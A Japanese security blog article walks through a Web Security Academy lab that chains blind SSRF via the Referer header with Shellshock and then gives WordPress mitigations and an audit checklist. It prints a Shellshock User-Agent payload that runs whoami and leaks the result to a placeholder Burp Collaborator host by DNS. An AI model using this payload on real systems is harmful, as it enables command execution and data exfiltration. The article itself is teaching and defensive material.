Blind SSRFは、レスポンスが確認できないため一見すると危険性が低いように見えます。
しかし、外部通信（OAST）や他の脆弱性と組み合わせることで、内部サーバーへの侵入やコマンド実行に発展する可能性があります。
本記事では、Web Security Academyのラボ「Blind SSRF with Shellshock exploitation」をもとに、Blind SSRFとShellshockを組み合わせた攻撃の流れを、WordPressの実装例に置き換えて解説します。
Blind SSRFとは何か｜通常のSSRFとの違い
Blind SSRF（ブラインドSSRF）とは、サーバーに外部リクエストを送らせることはできるものの、そのレスポンスを確認できないタイプの脆弱性です。
通常のSSRFとの違いは以下の通りです。
- SSRF：レスポンスを確認できるため、内部情報を直接取得できる
- Blind SSRF：レスポンスを確認できないため、外部通信を使って結果を把握する
この結果が見えないという特徴により、攻撃者は別の手段で成功を判断します。
SSRFの基本をまだ理解していない場合は、先にこちらの記事を読むと理解しやすくなります。
Blind SSRFとShellshockの組み合わせ攻撃の仕組み
Refererヘッダによる内部アクセスの誘導
対象アプリでは、商品ページを閲覧した際にRefererヘッダのURLを取得し、サーバー側からアクセスします。
そのため、Refererに内部IPを指定すると、サーバーが内部ネットワークへリクエストを送信します。
▼ 例
Referer: http://192.168.0.1:8080この仕組みにより、本来アクセスできない内部サーバーに対してリクエストを発生させることが可能になります。
User-Agentを使ったコマンド実行（Shellshock）
Shellshockは、HTTPヘッダに特定の形式の文字列を含めることでコマンド実行が可能になる脆弱性です。
▼ 今回のペイロード例
() { :; }; /usr/bin/nslookup $(whoami).xxxx.burpcollaborator.netこの処理では以下が行われます。
whoamiで実行ユーザー名を取得nslookupによって外部へDNSリクエストを送信
内部サーバーでのコマンド実行
SSRFによって内部サーバーにリクエストが届くと、User-Agentヘッダに含まれるShellshockペイロードが処理されます。
その結果、内部サーバー上でコマンドが実行されます。
外部通信（OAST）による結果取得
Blind SSRFではレスポンスを確認できないため、結果は外部通信によって取得します。
今回の流れは以下の通りです。
whoami → DNSリクエスト → 外部サーバーに到達
例えば以下のような形で観測されます。
username.xxxx.burpcollaborator.netこのサブドメイン部分に、内部サーバーのユーザー名が含まれます。
攻撃フロー解説｜内部サーバー侵入から情報流出まで
Blind SSRF＋Shellshock 攻撃フロー
今回のラボの攻撃は、次のような流れで成立します。
攻撃者 → Webアプリ → 内部サーバー → 外部サーバー（攻撃者）
- Refererヘッダを利用して内部サーバーにアクセスさせる
- User-AgentにShellshockペイロードを仕込む
- 内部サーバーでコマンドが実行される
- 結果が外部へのDNS通信として送信される
WordPressで起こり得るBlind SSRFのパターン
外部URL取得機能
WordPressでは以下のような処理が一般的に行われます。
- 外部APIの取得
- RSSフィードの読み込み
- 外部画像の取得
これらにユーザー入力がそのまま使われている場合、SSRFの入口になる可能性があります。
ヘッダ情報の利用
アクセス解析やログ処理などで、以下の情報をサーバー側で扱うケースがあります。
- Referer
- User-Agent
これらを安全に処理していない場合、今回のような攻撃の入口になる可能性があります。
古いサーバー環境
Shellshockは古い環境で発生する脆弱性です。
以下のような状態ではリスクが高まります。
- OSやミドルウェアが未更新
- 古いbash環境のまま運用
- セキュリティパッチ未適用
Blind SSRFが危険な理由｜なぜ見えてなくても成立するのか
この攻撃のポイントは、複数の要素が組み合わさっていることです。
- Blind SSRF：内部アクセスが可能になる
- Shellshock：コマンド実行が可能になる
- OAST：結果を外部で取得できる
単体では制限がある脆弱性でも、組み合わせることで重大な影響につながります。
WordPressでの対策ポイント｜最低限やるべきこと
- 外部URLはホワイトリストで制御する
- 内部IP（127.0.0.1、192.168系など）へのアクセスを制限する
- ヘッダ情報を信頼せず適切に処理する
- サーバーおよびOSを最新状態に保つ
- 不要な外部通信機能を無効化する
WordPress診断チェックリスト
詳しくは別記事で解説します。
外部URL取得まわり
- ユーザー入力をそのままURLとして使用していないか
wp_remote_get()などで任意URLを取得できないか- URLのホワイトリスト制御があるか
file_get_contents()で外部URLを直接取得していないか
内部アクセス制御
127.0.0.1や192.168.x.xへのアクセスが可能になっていないかlocalhostや内部ドメインへのリクエストがブロックされているか- DNSリバインディング対策が考慮されているか
ヘッダ処理（重要）
- Refererをサーバー側で利用していないか
- User-Agentをそのまま処理していないか
- ヘッダの値を外部リクエストに流用していないか
プラグイン・テーマの実装
- 外部API連携機能があるプラグインを使用しているか
- RSS取得やスクレイピング機能があるか
- 古いプラグインや未更新テーマを使っていないか
サーバー・OS環境
- OSやミドルウェアは最新状態か
- bashの脆弱性（Shellshock）が修正されているか
- 不要なサービス（CGIなど）が動いていないか
外部通信の監視
- 不審なDNSリクエストが発生していないか
- 外部へのHTTP通信ログを確認できるか
- ログ監視やWAFが導入されているか
まとめ｜見えない攻撃でも成立するという前提が重要
Blind SSRFはレスポンスが見えないため軽視されがちですが、外部通信や他の脆弱性と組み合わせることで、内部サーバーへの侵入やコマンド実行につながる可能性があります。
WordPressにおいても、外部URL取得やヘッダ処理といった機能が攻撃の入口になることがあります。
見えないから安全ではなく、見えなくても成立する攻撃であるという認識が重要です。